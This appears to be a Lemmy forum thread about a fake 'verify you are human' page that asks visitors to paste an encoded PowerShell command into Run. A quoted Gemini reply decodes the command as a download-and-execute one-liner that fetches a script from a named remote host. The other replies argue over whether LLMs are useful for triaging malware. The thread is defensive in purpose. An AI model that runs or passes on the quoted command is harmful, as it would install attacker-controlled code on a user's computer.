Yeah don’t put this in but can anyone give me an idea of what they were trying to do? the website was https:\howchoo.\com\3dprinting\updating-octoprint
and used a real pc verification screen to try to get me to put this in Run

conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1

  • Pyro@pawb.socialEnglish
    123·
    8 days ago

    One of the moments that Ai can be good. I asked googled gemni

    This command is highly malicious and is designed to execute a script downloaded from a remote server. Here’s a breakdown of what each part does:

    • conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it’s being used as a wrapper.
    • powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
      • powershell: Invokes the PowerShell interpreter.
      • /ep bypass: This is crucial. /ep stands for “execution policy.” bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.
      • /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let’s decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod ‘https: //mastraw.top/me/day’; iex $site Now we can fully understand the malicious intent:
    • $site = Invoke-RestMethod ‘# https: //mastraw.top/me/day’: This command uses Invoke-RestMethod to download content from the URL ‘https://mastraw/. top/me/day’ . This URL is likely hosting a malicious PowerShell script or some other form of executable code.
    • ; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from ‘https://mastraw.top/. /me/day’ (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:
    • Bypass PowerShell’s security restrictions.
    • Download a script from a specific remote website ‘(https. ://mastraw.top/me/day)’ .
    • Immediately execute that downloaded script on the victim’s computer. The content of the script downloaded from’ https :// mastraw.top/me/day’ is unknown without accessing that URL, but given the nature of this command, it’s almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.

    Edit:added back tick to urls

    • Otter@lemmy.caEnglish
      3·
      8 days ago

      Could you surround the links with backticks to make them code blocks? That would prevent someone from accidentally clicking it

    • geekwithsoul@lemm.eeEnglish
      98·
      8 days ago

      You needed an LLM to figure out this was malware?! Sweet jesus, we’re well and truly fucked.

      • Otter@lemmy.caEnglish
        41·
        8 days ago

        It did speed up the process of looking it up and confirming that it is malware.

        LLMs are decent at pattern recognition, and so it pulled up relevant keywords associated with each part of the command. You can then look up the important section to verify. It’s also something that a simple and locally hosted LLM could do.

        I wouldn’t run a random command, but confirming that it is malware would let me take further action to block the site / report it / help a family member that already ran the command

        • geekwithsoul@lemm.eeEnglish
          32·
          8 days ago

          Or you can just know that if some rando site is asking you to run cmd and powershell as some sort of authentication scheme, you’re about to get your shit fucked up. The specifics literally don’t matter, this is behavior no legit site would request you to do.

          • Otter@lemmy.caEnglish
            51·
            8 days ago

            That’s enough for me to not run it, but proving it can be helpful in some contexts, such as this thread.

            “This is malware because no legit site would authenticate like that” vs. “this is malware, it will do XYZ”

            • geekwithsoul@lemm.eeEnglish
              22·
              8 days ago

              Okay but pretty much any malware is going to follow those same steps - they’re what makes it malware. The LLM doesn’t “prove” anything - it’s not examining the executable, it’s not setting up a VM and doing deep packet analysis to see how the malware operates. It’s just parroting back the fact this is malware with details seeded from the prompt. This is like yelling into a canyon and “proving” someone is stuck in the canyon and yelling because you heard an echo.

              No one should be using an LLM as a security backstop. It’s only going to catch the things that have already been seen before, and the minute a bad actor introduces something the least bit novel in the attack, the LLM is confidently going to say it isn’t malware because it hasn’t seen it before. A simple web search would have turned up essentially the same information and used only a small fraction of the resources.

              • Otter@lemmy.caEnglish
                51·
                8 days ago

                That’s not what I meant though, I said that it speeds up the process of looking it up. It’s about as good as an unreliable peer that tells you what it thinks is happening. I can then research it myself based on the keywords that it mentions.

                It is similar to a web search, but with how bad search results are these days (a large part because of other people making LLM generated garbage articles), I find that asking a locally hosted LLM will give me a better starting point. Since it’s running on my own simple hardware, I’m not as worried about the resource cost compared to the tech companies’ ones.

                I agree with everything else you’ve said though

      • StarvingMartist@sh.itjust.worksOPEnglish
        43·
        8 days ago

        Chill out you, we all know it was malware, but llms are actually a tool in this use case to find out more about it without executing the code.

        I don’t like AI anymore than the next guy but this is just a silly response

        • geekwithsoul@lemm.eeEnglish
          54·
          8 days ago

          “Chill out you”

          Fucking priceless. The LLM didn’t explain anything beyond what was obvious from just looking at it. It was trying to get you to run a privileged executable. The LLM doesn’t have a clue what the executable does, and even admits that. So why bother asking it?

          Let’s take the tech out of it. You’re at a restaurant and you’re given a beverage in a glass, but you can see the glass is dirty with food residue. Do you have to consult an LLM to know not to drink out of it? Does it matter what sort of food residue it is? Of course not.

          I swear people’s critical thinking skills are non-existent or in complete atrophy these days. The only thing of potential interest is the executable itself and if you’re posting this question, I’m not sure any explanation or details would mean anything to you.

            • geekwithsoul@lemm.eeEnglish
              11·
              8 days ago

              <clutches pearls> Making a scene?! Oh no! Have I shattered the fragile Lemmy decorum with my boorish behavior? How dreadful!

              Listen, if you want to believe an LLM has anything useful to say about the malware you’re presented with on dodgy sites, go for it.

              And I’ll be free to think you’re a prime example for why we should start requiring a “drivers license” to get on a computer. To each their own.

            • geekwithsoul@lemm.eeEnglish
              21·
              8 days ago

              If it’s malware, it - by definition - is going to need to run a privileged executable. That’s the “ware” in “malware”. The LLM is just explaining the specific method they’re attempting to use - which again should be obvious both by the nature of the actions it’s requesting from the user as well as the specific text it’s asking to be run. It explicitly says it doesn’t know anything about the executable that’s being run, so it really isn’t offering anything particularly useful or actionable - just wasting resources.